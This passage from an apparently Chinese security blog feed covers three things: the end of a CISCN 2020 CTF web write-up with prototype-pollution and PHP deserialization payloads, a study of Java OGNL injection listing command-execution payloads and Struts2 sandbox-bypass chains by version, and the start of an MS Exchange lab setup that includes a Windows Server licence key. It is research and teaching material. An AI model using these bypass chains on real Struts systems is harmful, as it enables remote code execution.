&#125;<span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> key = req.body.key.toString();</span><br><span class="line">        <span class="keyword">let</span> password = req.body.password.toString();</span><br><span class="line">        <span class="keyword">if</span>(Admin[key] === password)&#123;</span><br><span class="line">            res.send(process.env.flag);</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            res.send(<span class="string">"Wrong password!Are you Admin?"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>利用原型链污染自定义一个 password 即可</p><p>先 POST /Privilege 添加属性并赋值</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/Privilege</span></span><br><span class="line"><span class="attribute"></span></span><br><span class="line">NewAttributeKey=__proto__.fuck&amp;NewAttributeValue=fuck</span><br></pre></td></tr></table></figure><p>然后再 POST /DeveloperControlPanel 验证密码</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel</span></span><br><span class="line"><span class="attribute"></span></span><br><span class="line">key=fuck&amp;password=fuck</span><br></pre></td></tr></table></figure><p>获取 flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820172208005.png" alt="image-20200820172208005"></p><p>flag{ee34b29b-59c6-4f06-9b3f-f5b12c63de37}</p><h1 id="easytrick"><a href="#easytrick" class="headerlink" title="easytrick"></a>easytrick</h1><p>题目代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">trick</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $trick1;</span><br><span class="line">    <span class="keyword">public</span> $trick2;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;trick1 = (string)<span class="keyword">$this</span>-&gt;trick1;</span><br><span class="line">        <span class="keyword">if</span>(strlen(<span class="keyword">$this</span>-&gt;trick1) &gt; <span class="number">5</span> || strlen(<span class="keyword">$this</span>-&gt;trick2) &gt; <span class="number">5</span>)&#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">"你太长了"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;trick1 !== <span class="keyword">$this</span>-&gt;trick2 &amp;&amp; md5(<span class="keyword">$this</span>-&gt;trick1) === md5(<span class="keyword">$this</span>-&gt;trick2) &amp;&amp; <span class="keyword">$this</span>-&gt;trick1 != <span class="keyword">$this</span>-&gt;trick2)&#123;</span><br><span class="line">            <span class="keyword">echo</span> file_get_contents(<span class="string">"/flag"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">unserialize($_GET[<span class="string">'trick'</span>]);</span><br></pre></td></tr></table></figure><p>只有两个变量，可以根据题目设定通过批量 fuzz 一些常见的 php 弱类型比较获取可能的组合</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_trick</span><span class="params">()</span></span>&#123;</span><br><span class="line">    $a = [<span class="keyword">true</span>,<span class="keyword">false</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">-1</span>,<span class="string">"1"</span>,<span class="string">"0"</span>,<span class="string">"-1"</span>,<span class="keyword">NULL</span>,<span class="keyword">array</span>(),<span class="string">"Array"</span>,<span class="string">"null"</span>,<span class="string">"true"</span>,<span class="string">"false"</span>,<span class="string">""</span>,<span class="number">0e123</span>,<span class="string">"0e123"</span>,<span class="string">"0e0"</span>,<span class="number">0e0</span>,<span class="number">9e999</span>,INF,<span class="string">"9e999"</span>,<span class="string">"INF"</span>,<span class="number">-9e99</span>,<span class="string">"-0e0"</span>,<span class="number">-0e0</span>];</span><br><span class="line">    <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; sizeof($a); $i ++)&#123;</span><br><span class="line">        $t = (string)$a[$i];</span><br><span class="line">        <span class="keyword">for</span> ($j = <span class="number">0</span>; $j &lt; sizeof($a); $j ++)&#123;</span><br><span class="line">            <span class="keyword">if</span>($t !== $a[$j] &amp;&amp; md5($t) === md5($a[$j]) &amp;&amp; $t != $a[$j])&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"--------\n"</span>;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"pos:"</span>.$i.<span class="string">"\n"</span>;</span><br><span class="line">            var_dump($a[$i]);</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"pos:"</span>.$j.<span class="string">"\n"</span>;</span><br><span class="line">            var_dump($a[$j]);</span><br><span class="line">            <span class="comment">//return;</span></span><br><span class="line">        &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">get_trick();</span><br></pre></td></tr></table></figure><p>如下，解法有多种</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820220924182.png" alt="image-20200820220924182"></p><p>随便选一种生成序列化 paylaod</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">trick</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $trick1;</span><br><span class="line">    <span class="keyword">public</span> $trick2;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;trick1 = <span class="string">"INF"</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;trick2 = <span class="number">9e999</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> trick()));</span><br></pre></td></tr></table></figure><p><code>O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bs%3A3%3A%22INF%22%3Bs%3A6%3A%22trick2%22%3Bd%3AINF%3B%7D</code></p><p>获取 flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/CISCN-2020-1.assets/image-20200820221239179.png" alt="image-20200820221239179"></p><p>flag{0421e2ca-167d-47a9-8620-5143d5080614}</p><hr>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;WEB 部分&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="http://j0k3r.top/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Java OGNL 表达式注入</title>
    <link href="http://j0k3r.top/2020/08/19/java-ognl/"/>
    <id>http://j0k3r.top/2020/08/19/java-ognl/</id>
    <published>2020-08-18T16:00:00.000Z</published>
    <updated>2020-08-30T15:33:58.303Z</updated>
    
    <content type="html"><![CDATA[<p>学习 Java OGNL 表达式注入</p><a id="more"></a><h2 id="0x01-OGNL-Object-Graph-Navigation-Library"><a href="#0x01-OGNL-Object-Graph-Navigation-Library" class="headerlink" title="0x01 OGNL (Object Graph Navigation Library)"></a>0x01 OGNL (Object Graph Navigation Library)</h2><blockquote><p>OGNL代表对象图导航语言；它是一种表达语言，用于获取和设置Java对象的属性，以及其他附加功能，例如列表投影和选择以及lambda表达式。您可以使用相同的表达式来获取和设置属性值。</p></blockquote><p>OGNL三要素: </p><ul><li>表达式（expression）<ul><li>ognl 表达式要执行的具体操作</li></ul></li><li>根对象（root）<ul><li>表达式的操作由根对象来指定对目标对象的操作，可直接引用根对象属性</li></ul></li><li>上下文环境（context）<ul><li>对象运行的上下文环境（map类型）</li></ul></li></ul><p>之前分析的 Struct2 的历史漏洞中，最终都是通过 ognl 达到执行命令的目的，而 struct2 中的 ognl 的 context 就是 ActionContext，根对象即熟悉的 valueStack</p><h2 id="0x02-使用-OGNL"><a href="#0x02-使用-OGNL" class="headerlink" title="0x02 使用 OGNL"></a>0x02 使用 OGNL</h2><p>在 ognl 注入中常用的也就是对上下文环境、静态方法的访问</p><p>OGNL 中的所有变量都是整个表达式的全局变量</p><ul><li>获取上下文环境变量：<code>#var</code></li><li>设置变量：<code>#var = 99</code></li><li>访问静态变量：<code>@[class]@[field]</code></li><li>调用静态方法：<code>@[class]@[method()]</code>，<a href="mailto:`@java.lang.Runtime" target="_blank" rel="noopener">`@java.lang.Runtime</a>@getRuntime().exec(‘id’)`</li><li>直接使用构造方法进行构造</li></ul><p><strong>特殊符号</strong></p><p><code>#</code></p><ol><li><p>用于访问非根对象属性（ OGNL 和 Action 上下文）</p></li><li><p>还可以表示自身，<code>listeners.size().(#this &gt; 100? 2*#this : 20+#this)</code></p></li><li>创建 map，<code>#{e1 : e2, ... }</code>，或 <code>#@classname@{ e1 : e2, ... }</code></li></ol><p><code>%</code></p><ol><li>告诉执行环境 <code>%{}</code> 里的是 OGNL 表达式并计算表达式的值。</li><li>求余数 <code>e1 % e2</code></li></ol><p><code>$</code></p><ol><li>在相关配置文件中引入OGNL表达式，即在配置文件中解析OGNL表达式</li><li>用于正则匹配 <code>objects.{$ #this instanceof String }</code>，将返回对象中包含的最后一个元素，该对象是String类的实例</li></ol><p><code>.</code></p><ol><li>获取非静态方法调用</li><li>获取对象的属性</li><li>投影 <code>e1.{e2}</code></li><li>选择 <code>e1.{? e2}</code></li><li>子表达式求值 <code>e1.(e2)</code></li></ol><p><code>@</code></p><ol><li>获取静态方法</li><li>获取静态变量</li></ol><p><code>,</code></p><ol><li>顺序操作符 <code>e1, e2</code>，e1 和 e2 都使用相同的源对象进行计算，并返回 e2 的结果。</li></ol><p>更多详细内容可以参考官方文档：<a href="https://commons.apache.org/proper/commons-ognl/language-guide.html" target="_blank" rel="noopener">https://commons.apache.org/proper/commons-ognl/language-guide.html</a></p><h2 id="0x03-OGNL-注入"><a href="#0x03-OGNL-注入" class="headerlink" title="0x03 OGNL 注入"></a>0x03 OGNL 注入</h2><p>Ognl 的 getValue 和 setValue 都可以用来执行代码，比如 S2-003 就是利用了 setValue</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> ognl.Ognl;</span><br><span class="line"><span class="keyword">import</span> ognl.OgnlContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">demo</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">        <span class="comment">// 创建一个OGNL上下文对象</span></span><br><span class="line">        OgnlContext context = <span class="keyword">new</span> OgnlContext();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// getValue() 触发</span></span><br><span class="line">        <span class="comment">// @[类全名(包括包路径)]@[方法名|值名]</span></span><br><span class="line">        <span class="comment">//Ognl.getValue("@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')", context, context.getRoot());</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// getValue() 使用 new</span></span><br><span class="line">        Ognl.getValue(<span class="string">"(new java.lang.ProcessBuilder(new java.lang.String[]&#123;\"/Applications/Calculator.app/Contents/MacOS/Calculator\"&#125;).start())"</span>, context, context.getRoot());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// setValue() 触发</span></span><br><span class="line">        <span class="comment">//Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'/Applications/Calculator.app/Contents/MacOS/Calculator\')\")(a)(b)",context,"");</span></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 setValue 中形如 <code>()(a)(b)</code> 的表达式在 ognl 处理的时候会先计算  <code>()(a)</code>，然后返回带有 payload 的 ASTEval 树，再以 <code>b</code> 为root 计算 AST 树，最终执行命令</p><p>常用 paylaod：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">//获取当前路径</span><br><span class="line">@java.lang.System@getProperty(&quot;user.dir&quot;)</span><br><span class="line"></span><br><span class="line">//使用 runtime 执行系统命令</span><br><span class="line">@java.lang.Runtime@getRuntime().exec(&apos;/Applications/Calculator.app/Contents/MacOS/Calculator&apos;)</span><br><span class="line"></span><br><span class="line">//使用 processbuilder 执行系统命令</span><br><span class="line">(new java.lang.ProcessBuilder(new java.lang.String[]&#123;&quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot;&#125;).start())</span><br></pre></td></tr></table></figure><p>常见注入点和写法（<a href="https://www.freebuf.com/vuls/168609.html）" target="_blank" rel="noopener">https://www.freebuf.com/vuls/168609.html）</a><br><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-ognl.assets/4.png" alt="img"></p><h2 id="0x04-注入绕过与防御"><a href="#0x04-注入绕过与防御" class="headerlink" title="0x04 注入绕过与防御"></a>0x04 注入绕过与防御</h2><p>OGNL 作为 Struts2 框架的默认表达式语言，在 struct2 的众多历史漏洞中被多次绕过，但是，绝大多数是通过 <code>_memberAccess</code> 等属性修改限制条件来达到绕过的目的</p><p><strong>绕过</strong></p><p> <strong>&lt; Struts 2.3.14.1</strong></p><p>通过 <code>_memberAccess</code> 设置 allowStaticMethodAccess 开启静态方法调用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(#_memberAccess[&apos;allowStaticMethodAccess&apos;]=true).(@java.lang.Runtime@getRuntime().exec(&apos;calc&apos;))</span><br></pre></td></tr></table></figure><p><strong>&lt; Struts 2.3.20</strong></p><p>使用类的构造函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(#p=new java.lang.ProcessBuilder(&apos;calc&apos;)).(#p.start())</span><br></pre></td></tr></table></figure><p><strong>&lt; Struts 2.3.29</strong></p><p>在2.3.20后，Struts2 引入了黑名单（excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns），阻止了所有构造函数的使用</p><p>通过  <code>_memberAccess</code> 的父类 <code>DefaultMemberAccess</code> 覆盖 <code>_memberAccess</code> 绕过限制</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(&apos;calc&apos;))</span><br></pre></td></tr></table></figure><p><strong>&lt; Struts 2.3.30+/2.5.2+</strong></p><p>利用 container 获取 ognlUtil 再使用 clear 方法清空 excludedClasses、excludedPackageNames，然后 setMemberAccess 方法设置默认的 memberAccess</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(&apos;calc&apos;))</span><br></pre></td></tr></table></figure><p><strong>&lt; Struts 2.5.16</strong></p><p>2.5.13 版本中使用的是 3.1.15 的 ognl 包，禁止了对 context.map 的访问</p><p>通过<code>attr</code> 获取一个<code>context.map</code>，然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空，再覆盖        <code>_memberAccess</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(#context=#attr[&apos;struts.valueStack&apos;].context).(#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(&apos;&apos;)).(#ognlUtil.setExcludedPackageNames(&apos;&apos;))</span><br><span class="line"></span><br><span class="line">(#context=#attr[&apos;struts.valueStack&apos;].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(&apos;curl 127.0.0.1:9001&apos;))</span><br></pre></td></tr></table></figure><p><strong>防御</strong></p><p>在 struct2 中官方主要通过黑名单的方式来修补漏洞，虽然前期也是被频频绕过，但从最近的版本能看出黑名单的变化</p><p>在 struts 2.5.20 中，查看 struts-default.xml 的 excludedClasses  和 excludedPackageNames 黑名单内容如下</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">constant</span> <span class="attr">name</span>=<span class="string">"struts.excludedClasses"</span></span></span><br><span class="line"><span class="tag">          <span class="attr">value</span>=<span class="string">"</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.Object,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.Runtime,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.System,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.Class,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.ClassLoader,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.Shutdown,</span></span></span><br><span class="line"><span class="tag"><span class="string">            java.lang.ProcessBuilder,</span></span></span><br><span class="line"><span class="tag"><span class="string">            com.opensymphony.xwork2.ActionContext"</span> /&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- this must be valid regex, each '.' in package name must be escaped! --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- it's more flexible but slower than simple string comparison --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / --&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- this is simpler version of the above used with string comparison --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">constant</span> <span class="attr">name</span>=<span class="string">"struts.excludedPackageNames"</span></span></span><br><span class="line"><span class="tag">          <span class="attr">value</span>=<span class="string">"</span></span></span><br><span class="line"><span class="tag"><span class="string">            ognl.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            javax.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            freemarker.core.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            freemarker.template.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            freemarker.ext.rhino.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            sun.reflect.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            javassist.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            org.objectweb.asm.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            com.opensymphony.xwork2.ognl.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            com.opensymphony.xwork2.security.,</span></span></span><br><span class="line"><span class="tag"><span class="string">            com.opensymphony.xwork2.util."</span> /&gt;</span></span><br></pre></td></tr></table></figure><p>连 struct2 重写的 ognl 包 xwork2.ognl 也在 excludedPackageNames 中，而且在 OgnlUtil 中的有关方法属性也产生了变化，这就导致修改黑名单绕过的方法越发困难</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://commons.apache.org/proper/commons-ognl/language-guide.html" target="_blank" rel="noopener">https://commons.apache.org/proper/commons-ognl/language-guide.html</a></p><p><a href="https://www.mi1k7ea.com/2020/03/16/OGNL表达式注入漏洞总结/" target="_blank" rel="noopener">https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/</a></p><p><a href="https://lucifaer.com/2019/01/16/浅析OGNL的攻防史/#0x03-OGNL的攻防史" target="_blank" rel="noopener">https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/#0x03-OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;学习 Java OGNL 表达式注入&lt;/p&gt;
    
    </summary>
    
    
      <category term="Java" scheme="http://j0k3r.top/tags/Java/"/>
    
      <category term="OGNL" scheme="http://j0k3r.top/tags/OGNL/"/>
    
  </entry>
  
  <entry>
    <title>MS Exchange 常用攻击方法与 NSPI 拓展攻击面</title>
    <link href="http://j0k3r.top/2020/08/17/MS%20Exchange%20Web/"/>
    <id>http://j0k3r.top/2020/08/17/MS Exchange Web/</id>
    <published>2020-08-16T16:00:00.000Z</published>
    <updated>2020-08-31T12:28:51.283Z</updated>
    
    <content type="html"><![CDATA[<p>国外渗透测试专家  <a href="https://swarm.ptsecurity.com/author/arseniy-sharoglazov/" target="_blank" rel="noopener">Arseniy Sharoglazov</a> 在 <a href="https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/" target="_blank" rel="noopener">Attacking MS Exchange Web Interfaces</a> 一文中描述了一种新的攻击 ms exchange 的方法，于是搭建本地测试环境进行研究，学习下 NSPI 攻击 Exchange 的原理</p><a id="more"></a><h2 id="0x01-测试环境搭建"><a href="#0x01-测试环境搭建" class="headerlink" title="0x01 测试环境搭建"></a>0x01 测试环境搭建</h2><h3 id="1-系统与应用下载"><a href="#1-系统与应用下载" class="headerlink" title="1. 系统与应用下载"></a>1. 系统与应用下载</h3><p>cn_windows_server_2019_updated_jan_2020_x64_dvd_4bbe2c37，<a href="ed2k://|file|cn_windows_server_2019_updated_jan_2020_x64_dvd_4bbe2c37.iso|5608552448|39C663ABF26079240030395C7CB3F975|/" target="_blank" rel="noopener">download link</a></p><p>SHA1：c27d4f4721433d249ca592c13bd265e864629934</p><p>密钥：N69G4-B89J2-4G8F4-WWYCC-J464C</p><p>mu_exchange_server_2019_x64_dvd_5fa4d915，<a href="https://ibit.to/torrent/Exchange-2019-m9eGP44/" target="_blank" rel="noopener">https://ibit.to/torrent/Exchange-2019-m9eGP44/</a></p><p>SHA1：75bcab31439eb206fdee58e754b4343c5620f231<br>MD5：63685ee5627878d890486d8803fbe501</p><h3 id="2-安装过程"><a href="#2-安装过程" class="headerlink" title="2. 安装过程"></a>2. 安装过程</h3><p>.NET Framework 4.7.2（Windows Server 2019 已经安装）</p><p><a href="http://go.microsoft.com/fwlink/?linkid=863265" target="_blank" rel="noopener">http://go.microsoft.com/fwlink/?linkid=863265</a></p><p>Visual C++ Redistributable Packages for Visual Studio 2013</p><p><a href="https://www.microsoft.com/en-us/download/details.aspx?id=40784" target="_blank" rel="noopener">https://www.microsoft.com/en-us/download/details.aspx?id=40784</a></p><p>Unified Communications Managed API 4.0</p><p><a href="https://www.microsoft.com/download/details.aspx?id=34992" target="_blank" rel="noopener">https://www.microsoft.com/download/details.aspx?id=34992</a></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729155554058.png" alt="image-20200729155554058"></p><p>重启</p><p>使用 windows PowerShell 运行</p><p><code>Install-WindowsFeature RSAT-ADDS</code></p><p>安装 server prerequisites</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Install-WindowsFeature</span> NET<span class="literal">-Framework</span><span class="literal">-45</span><span class="literal">-Features</span>, RPC<span class="literal">-over</span><span class="literal">-HTTP</span><span class="literal">-proxy</span>, RSAT<span class="literal">-Clustering</span>, RSAT<span class="literal">-Clustering</span><span class="literal">-CmdInterface</span>, RSAT<span class="literal">-Clustering</span><span class="literal">-Mgmt</span>, RSAT<span class="literal">-Clustering</span><span class="literal">-PowerShell</span>, Web<span class="literal">-Mgmt</span><span class="literal">-Console</span>, WAS<span class="literal">-Process</span><span class="literal">-Model</span>, Web<span class="literal">-Asp</span><span class="literal">-Net45</span>, Web<span class="literal">-Basic</span><span class="literal">-Auth</span>, Web<span class="literal">-Client</span><span class="literal">-Auth</span>, Web<span class="literal">-Digest</span><span class="literal">-Auth</span>, Web<span class="literal">-Dir</span><span class="literal">-Browsing</span>, Web<span class="literal">-Dyn</span><span class="literal">-Compression</span>, Web<span class="literal">-Http</span><span class="literal">-Errors</span>, Web<span class="literal">-Http</span><span class="literal">-Logging</span>, Web<span class="literal">-Http</span><span class="literal">-Redirect</span>, Web<span class="literal">-Http</span><span class="literal">-Tracing</span>, Web<span class="literal">-ISAPI</span><span class="literal">-Ext</span>, Web<span class="literal">-ISAPI</span><span class="literal">-Filter</span>, Web<span class="literal">-Lgcy</span><span class="literal">-Mgmt</span><span class="literal">-Console</span>, Web<span class="literal">-Metabase</span>, Web<span class="literal">-Mgmt</span><span class="literal">-Console</span>, Web<span class="literal">-Mgmt</span><span class="literal">-Service</span>, Web<span class="literal">-Net</span><span class="literal">-Ext45</span>, Web<span class="literal">-Request</span><span class="literal">-Monitor</span>, Web<span class="literal">-Server</span>, Web<span class="literal">-Stat</span><span class="literal">-Compression</span>, Web<span class="literal">-Static</span><span class="literal">-Content</span>, Web<span class="literal">-Windows</span><span class="literal">-Auth</span>, Web<span class="literal">-WMI</span>, Windows<span class="literal">-Identity</span><span class="literal">-Foundation</span>, RSAT<span class="literal">-ADDS</span></span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729160219000.png" alt="image-20200729160219000"></p><p>下面开始安装域控</p><p>在服务器管理器中选择添加角色和功能</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729175947931.png" alt="image-20200729175947931"></p><p>一路 next 即可，来到选择服务器角色这里，选 Active Directory 域服务</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729180109172.png" alt="image-20200729180109172"></p><p>又是一路 next，开始安装</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729180204250.png" alt="image-20200729180204250"></p><p>安装完成关闭窗口，在回到服务器管理器中，将此服务器升级为域控制器</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729180615473.png" alt="image-20200729180615473"></p><p>来到 AD 域服务配置向导</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200729180820671.png" alt="image-20200729180820671"></p><p>由于没有现有域和现有林，选择添加新林</p><p><img 